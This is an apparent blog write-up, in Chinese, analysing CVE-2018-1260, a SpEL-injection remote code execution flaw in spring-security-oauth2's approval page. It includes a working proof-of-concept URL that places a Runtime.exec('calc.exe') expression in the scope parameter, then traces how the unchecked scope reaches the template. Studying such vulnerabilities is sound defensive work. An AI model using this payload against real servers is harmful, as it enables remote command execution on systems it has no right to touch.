【CVE-2018-1260】RCE with spring-security-oauth2 Demo

时间：2018-05-11 10:55:34人气：次作者：本站作者我要评论

环境搭建

利用github上已有的demo：

git clone https://github.com/wanghongfei/spring-security-oauth2-example.git

确保导入的spring-security-oauth2为受影响版本，以这里为例为2.0.10进入spring-security-oauth2-example，修改 cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:

@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();
}

访问：

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

会重定向到login页面，随意输入username和password，点击login，触发payload。

漏洞分析

先简要补充一下关于OAuth2.0的相关知识。

以上图为例。当用户使用客户端时，客户端要求授权，即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌，即access token。最后在EF阶段，客户端带着access token向资源服务器请求并获得资源。

在获得access token之前，客户端需要获得用户的授权。根据标准，有四种授权方式：授权码模式（authorization code）、简化模式（implicit）、密码模式（resource owner password credentials）、客户端模式（client credentials）。在这几种模式中，当客户端将用户导向认证服务器时，都可以带上一个可选的参数scope，这个参数用于表示客户端申请的权限的范围。

，根据官方文档，在spring-security-oauth的默认配置中scope参数默认为空：

scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.

为明白起见，我们在demo中将其清楚写出：

clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();

接着开始正式分析。当我们访问http://localhost:8080/oauth/authorize重定向至http://localhost:8080/login并完成login后程序流程到达
org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java，这里贴上部分代码：

@RequestMapping(value = "/oauth/authorize")
public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
SessionStatus sessionStatus, Principal principal) {
// Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
// query off of the authorization request instead of referring back to the parameters map. The contents of the
// parameters map will be stored without change in the AuthorizationRequest object once it is created.
AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
try {
...
// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);
...
// Place auth request into the model so that it is stored in the session
// for approveOrDeny to use. That way we make sure that auth request comes from the session,
// so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
model.put("authorizationRequest", authorizationRequest);
return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
}
...

在执行完AuthorizationRequest authorizationRequest = ...后，authorizationRequest代表了要认证的请求，其中包含了众多参数

在经过了对一些参数的处理，比如RedirectUri等，之后到达第156行：

// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);

在这里将对scope参数进行验证。跟入validateScope到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19

public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
validateScope(authorizationRequest.getScope(), client.getScope());
}
...
}

继续跟入validateScope，至 org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28

private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
if (clientScopes != null && !clientScopes.isEmpty()) {
for (String scope : requestScopes) {
if (!clientScopes.contains(scope)) {
throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
}
}
}
if (requestScopes.isEmpty()) {
throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
}
}

首先检查clientScopes，这个clientScopes即我们在前面configure中配置的.scopes();，倘若不为空，则进行白名单检查。举个例子，如果前面配置.scopes("chybeta");，则传入requestScopes必须为chybeta，否则会直接抛出异常Invalid scope:xxx。但由于此处查clientScopes为空值，则接下来仅仅做了requestScopes.isEmpty()的检查并且通过。

在完成了各项检查和配置后，在authorize函数的最后执行：

return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);

回想一下前面OAuth2.0的流程，在客户端请求授权（A），用户登陆认证（B）后，将会进行用户授权（C），这里即开始进行正式的授权阶段。跟入getUserApprovalPageResponse 至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241：

生成对应的model和view，之后将会forward到/oauth/confirm_access。为简单起见，我省略中间过程，直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20

public class WhitelabelApprovalEndpoint {
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
String template = createTemplate(model, request);
if (request.getAttribute("_csrf") != null) {
model.put("_csrf", request.getAttribute("_csrf"));
}
return new ModelAndView(new SpelView(template), model);
}
...
}

跟入createTemplate，第29行：

protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
String template = TEMPLATE;
if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
}
...
return template;
}

跟入createScopes，第46行：

这里获取到了scopes，并且通过for循环生成对应的builder，其实就是html和一些标签等，最后返回的即builder.toString(),其值如下:

<ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>

createScopes结束后将会把上述builder.toString()拼接到template中。createTemplate结束后，在getAccessConfirmation的最后：